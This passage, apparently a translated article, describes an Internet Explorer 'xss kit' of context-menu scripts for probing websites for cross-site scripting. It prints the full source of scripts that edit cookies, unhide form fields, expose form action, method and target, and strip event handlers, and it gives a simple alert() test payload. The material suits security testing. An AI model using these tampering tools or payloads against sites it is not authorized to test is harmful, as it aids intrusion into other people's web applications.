By itself, the word target means the goal, and it means this is your further "direction" after some action. And in this case, when using this command, we also have a frame accessible for editing. In many cases, (if the target is not registered in JavaScript), when you use the command, you will see a link that you will be sent to after some actions. It can be at least that, clicking OK, Exit, etc. In this case, the command Form_Target2Text is very convenient for searching Xss. You can assign the xss code to a link that already was, or just delete the link and register the xss code.LocationReplace
When this command is executed, the script is requested through the prompt method, the request goes to a page. In general, I will not go around the bush, this command is quite useless when searching for xss, because So that you do not write, any of your text will be added to the original address of the page from which you executed the command.Example: _http: //www.ya.ru/ We use LocationReplace , the window drops out, we enter there a simple construction: <Script> alert (/ test /) </ script> We press OK, and we are moved to: http://www.ya.ru/ <script> alert (/ test /) </ script> No sense .. This way for those who are too lazy to write in the address bar code and no more. It can also be used as a referer.
All the html codes that are operated by the set of IE xss kit.
Cookies:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zExpires() { var expires = new Date(); expires.setYear(expires.getYear() + 10); return expires.toUTCString(); } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zCookie = zDocument.cookie; var zNew = zWindow.prompt('New Cookie?', zCookie); if (zNew != null) { var zNewCookie = zWindow.prompt('New Cookie:', '; EXPIRES=' + zExpires() + ';'); if (zNewCookie != null) zDocument.cookie = zNewCookie; } </script> Action2Text:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zConvert(text) { var text2 = ''; for (var i = 0; i <= text.length - 1; i ++) { if (text.charAt(i) != escape(text.charAt(i))) { text2 += escape(text.charAt(i)).replace(/%/, '&#x') + ';'; } else { text2 += text.charAt(i); } } return text2; } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { with (zForms[i]) { if (!zForms[i].zAction) { innerHTML = '<input type="text" id="zAction" value="' + zConvert(action) + '" title="action" onChange="document.forms[' + i + '].action = this.value">' + innerHTML; } } } </script> Checkbox2Text:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zConvert(text) { var text2 = ''; for (var i = 0; i <= text.length - 1; i ++) { if (text.charAt(i) != escape(text.charAt(i))) { text2 += escape(text.charAt(i)).replace(/%/, '&#x') + ';'; } else { text2 += text.charAt(i); } } return text2; } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { for (var j = 0; j <= zForms[i].elements.length - 1; j ++) { with (zForms[i].elements[j]) { if (type == 'checkbox') { outerHTML = '<input type="text" name="' + name + '" id="' + name + '" value="' + zConvert(value) + '" title="' + type + ' / ' + name + '" onDblClick="this.outerHTML = \'\'">'; } } } } </script> EventsOFF:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { for (var ii in zForms[i]) { if (ii.match(/^on/i) && (zForms[i].getAttribute(ii) != null)) { zForms[i].setAttribute(ii, null); } } for (var j = 0; j <= zForms[i].elements.length - 1; j ++) { for (var jj in zForms[i].elements[j]) { if (jj.match(/^on/i) && (zForms[i].elements[j].getAttribute(jj) != null)) { zForms[i].elements[j].setAttribute(jj, null); } } } } </script> Hidden2Text:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zConvert(text) { var text2 = ''; for (var i = 0; i <= text.length - 1; i ++) { if (text.charAt(i) != escape(text.charAt(i))) { text2 += escape(text.charAt(i)).replace(/%/, '&#x') + ';'; } else { text2 += text.charAt(i); } } return text2; } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { for (var j = 0; j <= zForms[i].elements.length - 1; j ++) { with (zForms[i].elements[j]) { if (type == 'hidden') { outerHTML = '<input type="text" name="' + name + '" id="' + name + '" value="' + zConvert(value) + '" title="' + type + ' / ' + name + '">'; } } } } </script> Method2Text:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zConvert(text) { var text2 = ''; for (var i = 0; i <= text.length - 1; i ++) { if (text.charAt(i) != escape(text.charAt(i))) { text2 += escape(text.charAt(i)).replace(/%/, '&#x') + ';'; } else { text2 += text.charAt(i); } } return text2; } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { with (zForms[i]) { if (!zForms[i].zMethod) { innerHTML = '<input type="text" id="zMethod" value="' + zConvert(method) + '" title="method" onChange="document.forms[' + i + '].method = this.value">' + innerHTML; } } } </script> Radio2Text:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zConvert(text) { var text2 = ''; for (var i = 0; i <= text.length - 1; i ++) { if (text.charAt(i) != escape(text.charAt(i))) { text2 += escape(text.charAt(i)).replace(/%/, '&#x') + ';'; } else { text2 += text.charAt(i); } } return text2; } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { for (var j = 0; j <= zForms[i].elements.length - 1; j ++) { with (zForms[i].elements[j]) { if (type == 'radio') { outerHTML = '<input type="text" name="' + name + '" id="' + name + '" value="' + zConvert(value) + '" title="' + type + ' / ' + name + '" onDblClick="this.outerHTML = \'\'">'; } } } } </script> Select-One2Text:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zConvert(text) { var text2 = ''; for (var i = 0; i <= text.length - 1; i ++) { if (text.charAt(i) != escape(text.charAt(i))) { text2 += escape(text.charAt(i)).replace(/%/, '&#x') + ';'; } else { text2 += text.charAt(i); } } return text2; } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { for (var j = 0; j <= zForms[i].elements.length - 1; j ++) { with (zForms[i].elements[j]) { if (type == 'select-one') { outerHTML = '<input type="text" name="' + name + '" id="' + name + '" value="' + zConvert(value) + '" title="' + type + ' / ' + name + '">'; } } } } </script> Target2Text:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru function zConvert(text) { var text2 = ''; for (var i = 0; i <= text.length - 1; i ++) { if (text.charAt(i) != escape(text.charAt(i))) { text2 += escape(text.charAt(i)).replace(/%/, '&#x') + ';'; } else { text2 += text.charAt(i); } } return text2; } var zWindow = external.menuArguments; var zDocument = zWindow.document; var zForms = zDocument.forms; for (var i = 0; i <= zForms.length - 1; i ++) { with (zForms[i]) { if (!zForms[i].zTarget) { innerHTML = '<input type="text" id="zTarget" value="' + zConvert(target) + '" title="target" onChange="document.forms[' + i + '].target = this.value">' + innerHTML; } } } </script> LocationReplace:
<script type="text/javascript"> // Created by zFailure // Web-site: http://zfailure.narod.ru var zWindow = external.menuArguments; var zLocation = zWindow.location; var zNewLocation = zWindow.prompt('New Location:', zLocation); if (zNewLocation != null) zLocation.replace(zNewLocation); </script> 
Comments
Commenting on, remember that the content and tone of your message can hurt the feelings of real people, show respect and tolerance to your interlocutors even if you do not share their opinion, your behavior in the conditions of freedom of expression and anonymity provided by the Internet, changes Not only virtual, but also the real world. All comments are hidden from the index, spam is controlled.